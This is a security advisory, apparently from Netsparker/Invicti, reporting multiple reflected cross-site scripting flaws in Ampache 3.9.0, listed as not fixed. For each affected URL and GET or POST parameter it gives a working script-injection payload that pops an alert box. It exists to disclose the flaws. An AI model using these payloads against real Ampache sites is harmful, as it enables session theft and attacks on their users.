Multiple Reflected Cross-site Scripting Vulnerabilities in Ampache 3.9.0

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting in Ampache 3.9.0
Affected Software: Ampache
Affected Versions: 3.9.0
Homepage: http://ampache.org
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-046

Technical Details

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id='"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>&burl=http://www.example.com&artist_name=Smith&album_name=Smith&cover=3
Parameter Name: mbid
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/artists.php?action=show_missing&mbid='+alert(0x003D85)+'
Parameter Name: mbid
Parameter Type: GET
Attack Pattern: '+alert(0x003D85)+'

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=album&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover=
Parameter Name: object_id
Parameter Type: GET
Attack Pattern: "><scRipt>alert(9)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover=
Parameter Name: object_id
Parameter Type: GET
Attack Pattern: "><scRipt>alert(9)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Name: rule_1
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Name: rule_1_input
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Name: rule_1_subtype
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song
Parameter Name: rule_1_input
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song
Parameter Name: rule_1
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8
Parameter Name: rule_1
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8
Parameter Name: rule_1_input
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8
Parameter Name: rule_1_subtype
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

12th November 2018- First Contact Attempt
9th January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.